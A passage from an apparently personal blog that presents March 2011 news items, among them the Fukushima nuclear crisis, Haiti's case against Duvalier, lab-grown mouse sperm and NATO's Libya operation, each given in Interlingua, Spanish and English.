for many other things besides parts for planes, and they decided to make something practical that everyone could use.\nThe nylon bike is super light but as tough as the ones made of steel.\nPosted by hkyson at 6:24 AM\n(Languages of this post: Interlingua, Spanish, English)\nLe prime ministro japonese, Naoto Kan, diceva que su governamento se trova in un stato de alerta maxime a causa del crise in el planta nuclear de Fukushima.\nIsto occurre post le discoperimento de parve quantitates de plutonio altemente radioactive in le solo in le area presso le usina, que esseva gravemente damnificate per le seismo e posterior tsunami del 11 de martio.\nLe Agentia de Securitate Nuclear e Industrial japonese recognosceva que le discoperimento suppone le confirmation que un fusion partial del bastones de combustibile ha essite producite in al minus un del reactores del usina.\nFunctionarios de securitate dice que le nivellos de plutonio detegite non representa un risco pro le sanitate human.\nIntertanto, le Agentia de Protection Ambiental del Statos Unite affirmava que illo detegeva vestigios de radiation in le aqua del pluvia in le nordest del Statos Unite compatibile con le accidente nuclear de Fukushima. Ma le agentia diceva que iste radiation non constitue un periculo pro le sanitate.\n---\nJapón en \"alerta maxima\" tras hallazgo de plutonio en Fukushima\nEl primer ministro japonés, Naoto Kan, dijo que su gobierno está en estado de alerta máxima por la crisis en la planta nuclear de Fukushima.\nEsto ocurre luego de que se hallaran rastros de plutonio altamente radiactivo en el suelo en las inmediaciones de la planta, que fue gravemente dañada por el terremoto y posterior tsunami del 11 de marzo.\nLa Agencia de Seguridad Nuclear e Industrial japonesa reconoció que el hallazgo supone la confirmación de que se ha producido una fusión parcial de las barras de combustible en por lo menos uno de los reactores de la planta.\nFuncionarios de seguridad dicen que los niveles de plutonio detectados no representan un riesgo para la salud humana.\nMientras tanto, la Agencia de Protección Ambiental de los Estados Unidos afirmó que detectó rastros de radiación en el agua de lluvia en el noreste de los Estados Unidos compatibles con el accidente nuclear de Fukushima. La agencia aclaró, sin embargo, que no constituye esta radiación un peligro para la salud.\n---\nJapan on \"high alert\" after the discovery of plutonium in Fukushima\nThe Japanese Prime Minister, Naoto Kan, said his government is in a state of high alert because of the crisis in the Fukushima nuclear plant.\nThis comes after traces of highly radioactive plutonium were found in soil near the plant, which was badly damaged by the earthquake and tsunami of March 11.\nThe Japanese Nuclear and Industrial Safety Agency recognized that the finding confirms that there has been a partial meltdown of the fuel rods in at least one of the reactors at the plant.\nSecurity officials say the plutonium levels detected pose no risk to human health.\nMeanwhile, the U. S. Environmental Protection Agency said it detected traces of radiation in the rainwater in the northeastern U.S. that are compatible with the Fukushima nuclear accident. The agency said, however, that this radiation is not a health hazard.\nPosted by hkyson at 2:26 AM\nMonday, March 28, 2011\nHaiti exige adjuta international pro le processamento legal de \"Baby Doc\" pro crimines contra le humanitate.\n(Languages of this post: Interlingua, Spanish, English)\nLe governamento de Haiti ha exigite adjuta e appoio technic al communitate interntional pro processar su ex-governante de facto Jean Claude Duvalier, \"Baby Doc\".\nLe petition esseva facite per un gruppo de victimas de \"Baby Doc\", qui governava Haiti desde 1971 usque ille esseva expellite per un rebellion popular in 1986.\nDuvalier retornava a su pais per surprisa le passate 16 de januario post 25 annos de exilio in Francia. Desde su retorno, multe personas le ha denunciate pro crimines contra le humanitate durante que ille governava le pais.\nLe governamento e le victimas de Duvalier dice que sin appoio international, illes non potera processar Duvaliar efficacemente pro su crimines contra le humanitate.\n---\nHaití pide ayuda internacional para el enjuiciamiento de \"Baby Doc\" por crímenes contra la humanidad.\nEl gobierno de Haití ha pedido ayuda y apoyo técnico a la comunidad internacional para poder enjuiciar a su ex gobernante de facto Jean Claude Duvalier, \"Baby Doc\".\nLa petición la hizo un grupo de víctimas de \"Baby Doc\", que gobernó Haití desde 1971 hasta que fue derrocado por un levantamiento popular en 1986.\nDuvalier regresó a su país por sorpresa el pasado 16 de enero después de 25 años exiliado en Francia. Desde su regreso, muchas personas lo han denunciado por crímenes de lesa humanidad mientras que gobernaba el país.\nEl gobierno y las víctimas de Duvalier dicen que sin apoyo internacional no podrán procesar a Duvalier con eficacía por sus crímenes contra la humanidad.\n---\nHaiti is asking for international help in prosecuting \"Baby Doc\" for crimes against humanity.\nHaiti's government has asked the international community for help and technical support in the prosecution of its former de-facto ruler Jean-Claude \"Baby Doc\" Duvalier.\nThe request was made by a group of victims of \"Baby Doc,\" who ruled Haiti from 1971 until he was overthrown by a popular uprising in 1986.\nDuvalier returned to his country by surprise on January after 25 years of exile in France. Since his return many people have denounced him for crimes against humanity while he governed the country.\nThe government and victims of Duvalier say that without international support Duvalier cannot be effectively prosecute for crimes against humanity.\nPosted by hkyson at 9:23 PM\n(Languages of this post: Interlingua, Spanish, English)\nScientistas in Japon ha potite producer con bon successo sperma de mures in le laboatorio, un labor que usque nunc on credeva impossibile. Iste es le prime vice que on crea sperma viabile in le laboratorio.\nLe avantiamento, affirma le investigatores in le magazine \"Nature\", poterea adjuvar homines infertile a engendrar filios in le futuro. E illo anque poterea esser un methodo pro preservar le fertilitate del juvenes qui debe submitter se a tractamentos de cancere.\nLe creation de sperma artificial ha essite un objectivo del scientia pro decadas, ma usque nunc le effortios pro facer lo non ha succedite proque le production de sperma es un del processos le plus longe e plus complexe del organismo vivente. In le majoritate del mammales le processo prende plus que un mense desde le initio usque le fin.\nUsque nunc le investigationes ha essite realisate con cellulas individual. Ma in vice de cellulas, le scientistas del Univeristate de Yokahama prendeva parve pecias de texito testicular de mures que esseva babies.\nPosteriormente illes misceva iste texitos con un composito de nutrientes in un tubo de essayo e discoperiva, post plure septimanas, que illos habeva producite spermatozoides viabile.\nPro comprobar que le cellulas esseva san, illes utilisava iste spermas in tractamentos de fertitilitate in vitro pro producer 12 mures vive que posteriormente poteva procrear su proprie descendentes. Le scientistas anque poteva recuperar spermatozoides san de texitos que habeva essite congelate durante 25 dies. Isto suggere, affirma le doctor Takehito Ogawa, qui diregeva le studio, que le immagazinage frigide non damnifica le cellulas.\n\"Un del problemas que io confronta como urologo es que nos non ha manieras efficace pro tractar patientes qui suffre infertilitate a causa de production defectuose o insufficiente de spermatozoides\", diceva Ogawa. \"In le majoritate de iste problemas on non cognosce le rationes. Nos nunc vole applicar nostre methodo a altere species, includente le human. Le sperma producite con iste methodo debe esser secur.\"\nLe studio, dice le expertos, anque adjuvara in plus grande detalio le processos del production de sperma pro discoperir quales es le problemas que conduce al infertilitate masculin.\nIn un altere articulo in \"Nature\", le doctores Marco Seandel y Shahin Rafi, del Collegio Medic del Universitate Cornell in New York, dice que iste investigation es un avantiamento experimental crucial in le application difficile del uso clinic de sperma cultivate in le laboratorio.\nMa le scientistas preveni que le facto que le mures producite con le sperma de laboratorio esseva fertil e poteva reproducer se \"non es un indicator refinate\" del stato de lor sanitate. Il pote haber, illes dice, \"cambios genetic subtil in le sperma cuje importantia essera fundamental in le benesser de subsequente generationes\".\nAltere expertos accentua que nunc il essera necesse facer studios plus amplie pro confirmar si iste resultatos anque pote applicar se a humanos.\nSecundo le doctor Allan Pacey, del Universitate de \"Sheffield, in le Regno Unite, \"il es importante esser multo caute proque a vices un processo de assistentia technic que functiona con un specie biologic non functionara con un altere que es multo simile\".\nIlle anque diceva que il es multo importante assecurar se que ulle sperma producite in le laboratorio es secur e pote resultar in le reproduction de descendentes san que tunc potera reproducer generationes de filios san. \"In iste phase de nostre studios\", ille diceva, nos debe esser multo caute con iste tipo de investigationes.\"\n---\nCientíficos japoneses crean esperma en el laboratorio.\nCientíficos en Japón lograron cultivar con éxito esperma de ratones en el laboratorio, una tarea que hasta ahora se creía imposible. Ésta es la primera vez que se crea esperma viable en el laboratorio.\nEl avance, afirman los investigadores en la revista \"Nature\", podría ayudar a los hombres infértiles a tener hijos en el futuro. Y también podría ser un método para preservar la fertilidad de los jóvenes que deben someterse a tratamientos de cáncer.\nLa creación de esperma artificial ha sido un objetivo de la ciencia durante décadas, pero hasta ahora los intentos de hacerlo han fracasado porque la producción de esperma es uno de los procesos más largos y más complejos del organismo viviente. En la mayoría de los mamíferos el proceso toma más de un mes desde el inicio hasta el final.\nHasta ahora las investigaciones han sido llevadas a cabo con células individuales. Pero en lugar de células, los científicos de la Universidad de Yokohama tomaron pequeñas porciones de tejido testicular de bebés ratones.\nPosteriormente mezclaron estos tejidos con un compuesto de nutrientes en un tubo de ensayo y descubrieron, después de varias semanas, que habían producido espermatozoides viables.\nPara comprobar que las células estaban sanas, utilizaron estas espermas en tratamientos de fertilización in vitro para producir 12 ratones vivos que posteriormente lograron procrear a sus propios descendientes. Los científicos también lograron recuperar espermatozoides sanos de tejidos que habían estado congelados durante 25 días. Esto sugiere, afirma el doctor Takehiko Ogawa, quien dirigió el estudio, que el almacenamiento en frío no daña las células.\n\"Uno de los problemas que enfrento como urólogo es que no contamos con formas efectivas para tratar a pacientes que sufren infertilidad debido a producción defectuosa o insuficiente de espermatozoides\", dijo Ogawa. \"En la mayoría de estos problemas se desconocen las razones. Ahora queremos aplicar nuestro método a otras especies, incluida la humana. El esperma producido con este método debe ser seguro.\"\nEl estudio, señalan los expertos, ayudará también a investigar con más detalle los procesos de la producción de esperma para descubrir cuáles son los problemas que conducen a la infertilidad masculina.\nEn otro artículo en \"Nature\", los doctores Marco Seandel y Shahin Rafi, del Colegio Médico de la Universidad de Cornell, en Nueva York, dicen que esta investigación es un avance experimental crucial en la espinosa aplicación del uso clínico del esperma cultivado en el laboratorio.\nPero los científicos advierten que el hecho de que los ratones producidos con el esperma de laboratorio fueran fértiles y lograron reproducirse \"no es un indicador refinado\" del estado de su salud. Puede haber, ellos dicen, \"cambios genéticos sutiles en el esperma cuya importancia será fundamental en el bienestar de subsecuentes generaciones\".\nOtros expertos subrayan que ahora será necesario llevar a cabo estudios más amplios para confirmar si estos resultados pueden aplicarse también a los seres humanos.\nSegún el doctor Allan Pacey, de la Universidad de Sheffield, en el Reino Unido, \"es importante tener cuidado porque a veces un proceso de asistencia técnica que funciona con una especie biológica no funcionará con otra que sea muy semejante\".\nTambién dijo que es muy importante asegurarse de que cualquier esperma producido en el laboratorio es seguro y puede llevar a la reproducción de descendientes sanos que a su vez puedan reproducir generaciones de hijos sanos. \"En esta fase de nuestros estudios,\" dijo, \"debemos ser muy cautelosos con este tipo de investigaciones.\"\n---\nJapanese scientists create sperm in the laboratory.\nScientists in Japan managed to successfully grow sperm in laboratory mice, a task previously thought impossible. This is the first time that sperm have been successfully created in the laboratory.\nThe advance, say researchers in the journal \"Nature,\" could help infertile men have babies in the future. And it could also be a method for preserving the fertility of young men who must undergo cancer treatments.\nThe creation of artificial sperm has been a goal of science for decades, but until now attempts to do so have failed because sperm production is one of the longest and most complicated processes for the living organism. In most mammals, the process takes more than one month from start to finish.\nSo far the investigations have been carried out with individual cells. But instead of cells, scientists at the University of Yokohama, used small pieces of testicular tissue from baby mice.\nThey then mixed these tissues with a nutrient compound in a test tube and found, after several weeks, that they had produced viable sperm.\nTo verify that the cells were healthy, they used these sperm in in-vitro fertilization to produce twelve live mice that subsequently were able to produce their own offspring. The scientists were also able to retrieve sperm from tissue that had been frozen for twenty-five days. This suggests, says Dr. Takehiko Ogawa, who led the study, that cold storage does not damage the cells.\n\"One of the problems I face as a urologist is not having effective ways of treating patients suffering from infertility due to defective or insufficient sperm production,\" said Ogawa. \"With most of these problems the reasons are unknown. Now we apply our method to other species, including humans. The sperm produced with this method has to be safe.\"\nThe study, experts say, will also help to investigate in greater detail the processes of sperm production to discover what the problems are that lead to male infertility.\nIn another article in \"Nature,\" doctors Marco Seandel and Shahin Rafi, Weill at the Cornell Medical College in New York, say that this study is a crucial advance in the difficult application of clinically using sperm grown in the laboratory.\nBut scientists warn that the fact that mice produced with laboratory sperm were fertile and able to reproduce \"is not a refined indicator\" of the state of their health. There may be, they say, \"subtle genetic changes in sperm that will be of fundamental importance for the welfare of subsequent generations.\"\nOther experts stress that it will now be necessary to conduct larger studies to confirm whether these results can be applied to humans.\nAccording to Dr. Allan Pacey, at Sheffield University in the United Kingdom, \"it is important to be careful because sometimes a process that works with one biological species may not work with another one that is very similar.\"\nHe also said that it is very important to insure that any sperm produced in the lab is safe and can lead to the reproduction of healthy offspring which in turn can reproduce generations of healthy children, says Pacey. \"For now,\" he said, \"we must be very cautious with this kind of research.\"\nPosted by hkyson at 5:17 PM\n(Languages of this post: Interlingua, Spanish, English)\nLe Pentagono faceva su excusas un altere vice post que se publicava imagines de soldatos statounitese in Afghanistan posante con cadaveres de civiles in le magazine \"Rolling Stone\".\nIllo assecurava que le photos publicate in le magazine es inquietante e vade contra le valores del armea del Statos Unite.\nIn le imagines on vide un soldato surridente con le police tenite in alto durante que ille indica con le altere mano le capite de un homine morte. Un altere monstra un capite sanguinose.\nLe magazine dice que le photos es alicunes del milles discoperite durante un investigation sur accusationes que soldatos de un unitate del armea in Afghanistan occideva civiles disarmate como sport.\nImagines simile esseva publicate previemente per le magazine german \"Der Spiegel\".\n---\nLos Estados Unidos se disculpa por fotos de soldados posando con cadáveres de civiles afganos.\nEl Pentágono emitió otra disculpa después que se publicaran imágenes de soldados estadounidenses en Afganistán posando con cadáveres de civiles en la revista \"Rolling Stone\".\nAseguró que las fotos publicadas en la revista son inquietantes y van en contra de los valores del ejército de los Estados Unidos.\nEn las imágenes se ve a un soldado sonriente con los pulgares hacia arriba mientras señala la cabeza de un hombre muerto. Otra muestra una cabeza ensangrentada.\nLa revista dice que las fotos son algunas de las miles descubiertas durante una investigación sobre acusaciones de que soldados de una unidad del ejército en Afganistán mataron a civiles desarmados como deporte.\nImágenes similares fueron publicadas previamente por la revista alemana \"Der Spiegel\".\n---\nThe United States apologizes for photos of soldiers posing with dead bodies of Afghan civilians.\nThe Pentagon issued another apology after pictures were published of American soldiers in Afghanistan posing with corpses of civilians in the magazine \"Rolling Stone.\"\nIt said that the photos published in the magazine are disturbing and go against the values of the United States military.\nIn the pictures a soldier can be seen smiling with thumbs up while pointing to the head of a dead man. Another shows a bloodied head.\nThe magazine says the photos are some of the thousands discovered during an investigation into allegations that soldiers of an army unit in Afghanistan killed unarmed civilians for sport.\nSimilar images were published earlier by the German magazine \"Der Spiegel.\"\nPosted by hkyson at 4:44 PM\n(Languages of this post: Interlingua, Spanish, English)\nPro le prime vice, aqua altemente radioactive se ha trovate foras del reactores de Fukushima, recentemente afficite per un seismo e un tsunami.\nLe aqua de un tunnel que flue a in stagnos presso le mar monstrava nivellos de radiation equivalente al plus alte trovate in le aqua del interior del reactores.\nPro adjuvar con iste problema, Eric Besson, le ministro de Energia francese, diceva que le japoneses ha solicitate le adjuta del industria nuclear francese in lor lucta pro le controlo del quatro reactores instabile in Fukushima.\n---\nAgua altamente radiactiva se ha encontrado fuera de los reactores de Fukushima.\nPor primera vez, agua altamente radiactiva se ha encontrado fuera de los reactores de Fukushima, recientemente afectada por un sismo y un maremoto.\nEl agua de un túnel que desemboca en los pozos cercanos al mar mostró niveles de radiación equivalentes a los más altos encontrados en el agua del interior de los reactores.\nPara ayudar con este problema, Eric Besson, el ministro de Energía francés, dijo que los japoneses han solicitado la asistencia de la industria nuclear francesa en su lucha por el control de los cuatro reactores inestables en Fukushima.\n---\nHighly radioactive water has been found outside the reactors in Fukushima.\nFor the first time, highly radioactive water has been found outside the reactor in Fukushima, recently hit by an earthquake and a tsunami.\nWater from a tunnel flowing into pools near the sea showed levels of radiation equivalent to the highest found in the water inside the reactors.\nTo help with this problem, Eric Besson, the French Energy Minister, said that the Japanese have sought the assistance of the French nuclear industry in their fight to control the four unstable reactors in Fukushima.\nPosted by hkyson at 7:53 AM\n(Languages of this Post: Interlinga, Spanish, English)\nTotevia il non es clar quante radiation se ha escappate ex le usina de Fukushima Daiichi, in Japon, post le seismo e le posterior tsunami del 11 de martio.\nBen que le area circumferente ha essite evacuate, on sape que le aqua e alicun alimentos producite circum le usina se trova contaminate.\nIn plus, on ha detegite nivellos de radiation superior al normal in le aqua del mar, a unes 16 kilometros del costa presso le usina.\nPro analysar quando e como le contamination radioactive deveni un problema, il es necesse prender in consideration un amplie numero de factores, includente le elementos chimic que se ha liberate del reactores, le direction del ventos, si le pluvia porta particulas de radioactivitate al terra, e que tipos de recoltas e animales se trova in le zona exponite.\nOn sape que le principal elementos que ha essite liberate del reactores del usina de Fukushima Daiichi es le isotopos de iodo (iodo 131), de cesio (cesio 137), e de strontio (strontio 90).\nLe cesio es periculose proque illo es de plus longe duration e viagia facilemente trans le catena alimentari, sin cessar de emitir particulas durante seculos un vice que illo se libera. Su effecto in le ambiente pote esser enorme e diverse. Illo se incorpora in le osos e con le tempore pote promover conditiones como le osteoporose.\nLe isotopos de iodo (iodo 131) e de cesio (cesio 137) es altemente damnificante pro le organismo, ma solmente si un persona se expone a doses significante.\nDurante que le radioactivitate del iodo 131 es de multo plus curte duration--su potentia radioactive se reduce al medietate cata octo dies--illo es periculose proque illo se concentra in le glandula thyroide e pote provocar cancere.\nSecundo Nick Evans, del Universitate de Loughborough, in le Regno Unite, le quantitates que se ha filtrate del reactores implicarea parve doses in le zona afficite que non necessariemente causa damno.\nCon un quantitate de radiation plus grande, le effectos immediate de un exposition moderate pote includer nausea e vomito, le quales sovente comencia pauc horas post le contamination, sequite per diarrhea, dolor de capite, e febre.\nImpacto in le plantas:\nLe plantas que ha folios plus grande collige un quantitate de radiation plus grande que alteres.\n\"Le lactuca, le spinace e altere vegetales poterea haber plus grande nivellos radioactive que le pomos, le oranges, o le patatas\", dice Evans. \"Ma alimentos como le ris e le mais, cuje parte edibile es protegite per le folios, es relativemente secur in iste momento.\nIn ulle caso, le scientistas affirma que elementos como le cesio 137 pote circular trans un ecosystema durante decadas, entrante in le plantas per le radice e retornante al terra quando le planta mori.\nIn despecto de isto, Evans asssecura que, secundo le nivellos de radiation que se ha observate usque nunc, le vegetation non essera severemente afficite, e le impacto del radiation in le ambiente esserea insignificante.\nImpacto sur le oceanos:\nNumerose pisces moriva a causa del tsunami, ma totevia on non cognosce le impacto del radiation in le mar.\nLe functionarios japonese diceva que parte del aqua utilisate pro refrigerar le reactores damnificate habeva arrivate al oceano, augmentante le possibilitate que, con le tempore, le molluscos se trovara in risco.\nPro Nicholas Fisher, professor de scientias marin del Universitate Statal de New York, iste nova significa que nunc le scientistas debera mensurar le radioactivitate del musculos e algas marin local pro evaluar le nivello de contamination.\nFisher suggere que le nivellos debera esser observate attentemente proque substantias como le cesio 137 se adhere al pisces tanto como le mercurio, e illo se move trans le catena alimentari desde le plankton al pisces parve, e de illac al peces grande.\nMundar le radiation:\nComo un effusion de petroleo, le material radioactive pote mundar se, dependente sur le tipo de substantia chimic effundite.\nUn maniera de decontaminar un campo de radiation es usar le plantas mesme. Le processo ha le nomine phytoremediation e usa le plantas pro eliminar o diminuer contaminates del solo.\nLe plantas pote resister plus grande nivellos de radiation que illos collige del solo, e postea es necesse remover ille plantas contaminate. Probabilemente iste mensuras non essera necesse proque le nivellos de radiation que on ha cognoscite usque nunc non es tan elevate.\nCon iste processo, on pote remover le iodo radioactive usante altere componentes chimic que lo elimina.\nPro exemplo, in le caso de un campo con alte nivellos de contamination on pote remover le terra e postea portar lo a un planta de processamento. Isto solmente se realisarea si le contamination es multo grande, non como le contamination observate usque nunc. Iste processo es costose, dura multo tempore, e implica riscos pro le sanitate del personas qui face le travalio.\nPro alicun expertos, il ha solmente un multo basse possibilitate que il habera un repetation de un disastro como illo de Chernobyl. Ma in omne caso, le ambiente poterea esser afficite. In nulle caso, nonobstante, nos videra que le vegetation e le vita animal essera exterminate. Le vita es multo resistente.\n---\nLa radiación de Fukushima y sus efectos sobre el medio ambiente\nAún no está claro cuánta radiación se ha escapado de la planta de Fukushima Daiichi, en Japón, tras el terremoto y el posterior tsunami del 11 de marzo.\nAunque el área cercana ha sido evacuada, se sabe que el agua y algunos alimentos producidos en el entorno de la planta están contaminados.\nAdemás se han detectado niveles de radiación superiores a lo normal en el agua de mar, a unos 16 kilómetros de la costa cerca de la planta.\nPara analizar cuándo y cómo la contaminación radiactiva se convierte en un problema hay que tomar en cuenta una amplia gama de factores, incluyendo los elementos químicos que se hayan liberado de los reactores, en qué dirección sopla el viento, si la lluvia llevará las partículas de radiactividad a la tierra, y qué tipos de cultivos y animales se encuentran en la zona expuesta.\nSe sabe que los principales elementos que han sido liberados de los reactores de la central de Fukushima Daiichi son los isótopos de yodo (yodo 131), de cesio (cesio 137) y de estroncio (estroncio 90).\nEl cesio es peligroso porque es de larga duración y viaja fácilmente a través de la cadena alimentaria, sin dejar de emitir partículas durante siglos una vez que se libera. Su efecto en el medio ambiente puede ser de largo alcance. Se incorpora en los huesos y con el tiempo puede derivar en afecciones como la osteoporosis.\nLos isótopos de yodo (yodo 131) y de cesio (cesio 137) son altamante dañinos para el organismo, pero solo si una persona se expone a dosis significativas.\nMientras que la radioactividad del yodo 131 es de mucha más corta duración--su potencia radiactiva se reduce a la mitad cada ocho días--es peligroso porque se concentra en la glándula tiroides y puede provocar cáncer.\nSegún Nick Evans, de la Universidad de Loughborough, en el Reino Unido, las cantidades que hasta el momento se han filtrado de los reactores implicarían pequeñas dosis en la zona afectada que no necesariamente causan perjuicios.\nA mayor cantidad de radiación, los efectos inmediatos de una exposición moderada pueden incluir náuseas y vómitos, los que a menudo comienzan pocas horas después de la contaminación, seguidos de diarrea, dolor de cabeza y fiebre.\nImpacto en las plantas:\nLas plantas que tienen las hojas más grandes recogen más radiación que otros.\n\"La lechuga, espinaca y otras verduras podrían tener mayores niveles radioactivos que las manzanas, las naranjas o las papas\", dice Evans. \"Pero alimentos como el arroz y el maíz, cuya parte comestible está protegida por las hojas, son relativamente seguros en esta primera etapa.\"\nEn todo caso, los científicos afirman que elementos como el cesio 137 pueden circular a través de un ecosistema durante décadas, entrando en las plantas por la raíz y regresando a la tierra cuando la planta muere.\nA pesar de esto, Evans asegura que, según los niveles de radiación que se han observado hasta ahora, la vegetación no será severamente afectada, y el impacto de la radiación en el medio ambiente será insignificante.\nImpacto en los Océanos:\nNumerosos peces murieron a causa del tsunami, pero aún no se sabe el impacto de la radiación en el mar.\nLos funcionarios japoneses dijeron que parte del agua utilizada para enfriar los reactores dañados había llegado al océano, aumentando la posibilidad de que, con el tiempo, los mariscos estén en riesgo.\nPara Nicholas Fisher, profesor de ciencias marinas de la Universidad Estatal de Nueva York, esta noticia se traduce en que ahora los científicos deberán medir la radiactividad de los mejillones y algas marinas locales para evaluar el nivel de contaminación.\nFisher sugiere que los niveles deberán ser observados de cerca porque sustancias como el cesio 137 se adhieren a los peces tanto como el mercurio, y se mueve en la cadena alimentaria desde el plancton a los peces pequeños y de ahí a los peces grandes.\nLimpiar la radiación:\nAl igual que un derrame de petróleo, el material radioactivo se puede limpiar, en dependencia del compuesto químico vertido.\nUna manera de descontaminar un campo de radiación es con el uso de las propias plantas. El proceso se llama fitoremediación y emplea a las plantas para eliminar o disminuir contaminantes del suelos.\nLas plantas pueden resistir mayores niveles de radiación, que recogen del suelo, y luego habría que remover esas plantas contaminadas. Probablemente, estas medidas no serán necesarias porque los niveles de radiación que se han conocido hasta ahora no son tan elevados.\nCon este proceso, el yodo radioactivo se puede remover usando otros compuestos químicos que lo eliminen.\nPor ejemplo, si se tratara de un campo con altos niveles de contaminación se puede remover la tierra y luego llevarla a una planta de procesamiento. Esto solo se llevaría a cabo si la contaminación es muy grande, no como la actual. Este proceso es costoso, largo y sí implica riesgos para la salud de quienes lo efectúen.\nPara algunos expertos, hay sólo una muy baja posibilidad de una repetición de un desastre como el de Chernobyl. Pero en todo caso, el medio ambiente podría ser afectado. En ningún caso, nonobstante, veremos que la vegetación y la vida animal sean exterminadas. La vida es muy resistente.\n---\nRadiation from Fukushima and its effects on the environment\nIt remains unclear how much radiation escaped from the Fukushima Daiichi plant in Japan after the earthquake and subsequent tsunami on March 11.\nAlthough the immediate area was evacuated, it is known that both water and some food produced around the plant environment are contaminated.\nAlso, radiation levels above normal in sea water, about 9.9 miles off the coast near the plant have been detected.\nTo analyze when and how radioactive contamination becomes a problem we must take into account a wide range of factors: the chemicals released from the reactors, including which way the wind blows, whether the radioactive particles will fall onto land with the rain, and what types of crops and animals are found in the exposed area.\nIt is known that the main elements that have been released from the reactors at the Fukushima Daiichi plant are isotopes of iodine (iodine 131), cesium (cesium 137) and strontium (strontium 90).\nCesium is dangerous because it is long lasting and easily travels through the food chain and does not stop emitting radiation for centuries after it is released. Its effect on the environment can be far-reaching. It goes into the bones and can eventually lead to conditions such as osteoporosis.\nIsotopes of iodine (iodine 131) and cesium (cesium-137) are quite harmful to the body but only if a person is exposed to significant doses.\nWhile the radioactivity of iodine 131 decays a lot more quickly--its radioactive power is reduced by half every eight days--it is dangerous because it concentrates in the thyroid gland and can cause cancer.\nAccording to Nick Evans, of the University of Loughborough, in the United Kingdom, the amounts that have been leaked from the reactor so far would involve small doses in the affected area that will not necessarily cause harm.\nWith a greater amount of radiation, the immediate effects of moderate exposure may include nausea and vomiting, which often begin a few hours after contamination, followed by diarrhea, headache, and fever.\nImpact on plants:\nPlants having larger leaves collect more radiation than others.\n\"Lettuce, spinach and other vegetables may have higher radioactive levels than apples, oranges or potatoes,\" says Evans, \"but foods like rice and maize, whose edible portion is protected by leaves, are relatively safe at this early stage.\"\nIn any case, scientists say that elements such as cesium 137 can flow through an ecosystem for decades, entering into plants through the roots and returning to the ground when the plants die.\nDespite this, Evans says that with the radiation levels that have been observed so far, vegetation will not be severely affected, and the impact of radiation on the environment should be negligible.\nImpact on the Oceans:\nMany fish died in the tsunami, but we do not know the impact of radiation inside the sea.\nJapanese officials said that some of the water used to cool the damaged reactor had reached the sea, raising the possibility that, over time, shellfish will be at risk.\nTo Nicholas Fisher, professor of marine sciences at the State University of New York, this news means that scientists now need to measure the radioactivity of local mussels and seaweed to assess the level of contamination.\nFisher suggests that radiation levels should be monitored closely because substances such as cesium-137 bind to both fish and mercury, and move up the food chain from plankton to small fish and large fish.\nCleaning up radiation:\nLike an oil spill, radioactive material can be cleaned up, depending on the chemical spill.\nOne way to decontaminate a radiation field is to use plants themselves. The process is called phytoremediation and employs plants to remove or reduce pollutants in soils.\nPlants can withstand higher levels of radiation, which they collect from the ground, and then these contaminated plants have to be removed. Probably these measures will not be necessary since the radiation levels that have become known up to now are not that high.\nWith this process, radioactive iodine can be removed using other chemicals to eliminate it.\nFor example, in the case of a field with high levels of contamination, the dirt can be removed and then taken to a processing plant. This will be done only in the case of large amounts of pollution, not with the low levels that have been observed up to now. This process is expensive, time consuming, and entails risks to the health of those doing this work.\nTo some experts, there is only a very small chance of a new disaster like Chernobyl. But in any case, the environment could be affected, In no case, however will we see the extermination of plant and animal life. Life is very tough.\nPosted by hkyson at 4:48 AM\nSunday, March 27, 2011\nLe governamento japonese crede que un fusion nuclear partial produceva le grande quantitate de aqua radioactive que se ha detegite.\n(Languages of this post: Interlingua, Spanish, English)\nLe governamento japonese dice que illo crede que le aqua altemente radioactive in le reactor 2 del usina Fukushima Daiichi procede de un fusion partial del nucleo.\nSecundo con Yukio Edan, le principal portavoce del governamento, le fusion esseva temporanee.\nLe agentia de Securitate Nuclear de Japon habeva annunciate que le radioactivitate in le reactor 2 esseva \"extrememente alte\", de 1.000 millisieverts le hora.\nLe planta esseva damnificate per le seismo e posterior tsunami que devastava le costa nordest de Japon le passate 11 de martio. Le numero de mortos official se trova circa 11.000, durante que totevia il ha plus que 17.000 personas disapparite.\n---\nEl gobierno japonés cree que una fusión nuclear parcial produjo la gran cantidad de agua radiactiva que se ha detectado.\nEl gobierno japonés dijo creer que el agua altamente radiactiva detectada en el reactor 2 de la planta Fukushima Daiichi procede de una fusión parcial del núcleo.\nDe acuerdo con Yukio Edan, el principal portavoz del gobierno, la fusion fue temporal.\nLa Agencia de Seguridad Nuclear de Japón había anunciado que la radiactividad en el reactor 2 era \"extremadamente alta\", de 1.000 millisieverts a la hora.\nLa planta fue dañada por el terremoto y posterior tsunami que devastaron la costa noreste de Japón el pasado 11 de marzo. El balance oficial de muertos está cerca de los 11.000, mientras todavía hay más de 17.000 desaparecidos.\n---\nThe Japanese government believes that a partial nuclear meltdown produced the large amounts of radioactive water that has been detected.\nThe Japanese government said it believes that the highly radioactive water detected in the reactor 2 of the Fukushima Daiichi plant comes from a partial core melt.\nAccording to Yukio Edan, the principal government spokesman, the meltdown was temporary.\nNuclear Security Agency of Japan had announced that the radioactivity in Reactor Two was \"extremely high\" at 1,000 millisieverts an hour.\nThe plant was damaged by the earthquake and tsunami that devastated the northeast coast of Japan on March 11. The official death toll is near 11,000, while over 17,000 are still missing.\nPosted by hkyson at 10:28 PM\n(Languages of this post: Interlingua, Spanish, English)\nLe respresentantes del Organisation del Tractato Atlantic Nord (OTAN), reunite in Bruxelles, arrivava a un accordo sur un plano pro assumer le mando de un operation militar in Libya.\nLe alliantia jam habeva prendite le mando pro vigilar le imposition del zona de restriction aeree sur Libya e le embargo de armas.\nLe representantes ha arrivate a un accordo sur le detalios del action militar e le limites que le alliantia debe observar in le protection del population civil.\n---\nLa OTAN llega a un acuerdo sobre un plan para asumir el mando de la operación militar en Libia.\nLos representantes de la Organización del Tratado Atlántico Norte (OTAN) reunidos en Bruselas llegaron a un acuerdo sobre un plan para asumir el mando de la operación militar en Libia.\nLa alianza ya había tomado el mando para vigilar la imposición de la zona de restricción aérea sobre Libia y el embargo de armas.\nLos representantes han llegado a un acuerdo sobre los detalles de la acción militar y de los límites que la alianza debe observar en la protección de la población civil.\n---\nNATO reaches agreement on a plan to assume command of the military operation in Libya.\nRepresentatives of the North Atlantic Treaty Organization (NATO) meeting in Brussels reached an agreement on a plan to assume command of the military operation in Libya.\nThe alliance had already taken command to monitor the imposition of the no-fly zone over Libya and the arms embargo.\nThe representatives have reached agreement on the details of military action and the limits that the alliance should observe in protecting the civilian population.\nPosted by hkyson at 4:24 PM\n(Languages of this post: Interlingua, Spanish, English)\n(1) Proque cela le fabricantes alicunes ex le characteristicas del telephonos, como connexiones a internet?\nDependente del circumstantias, le telephono, le data de 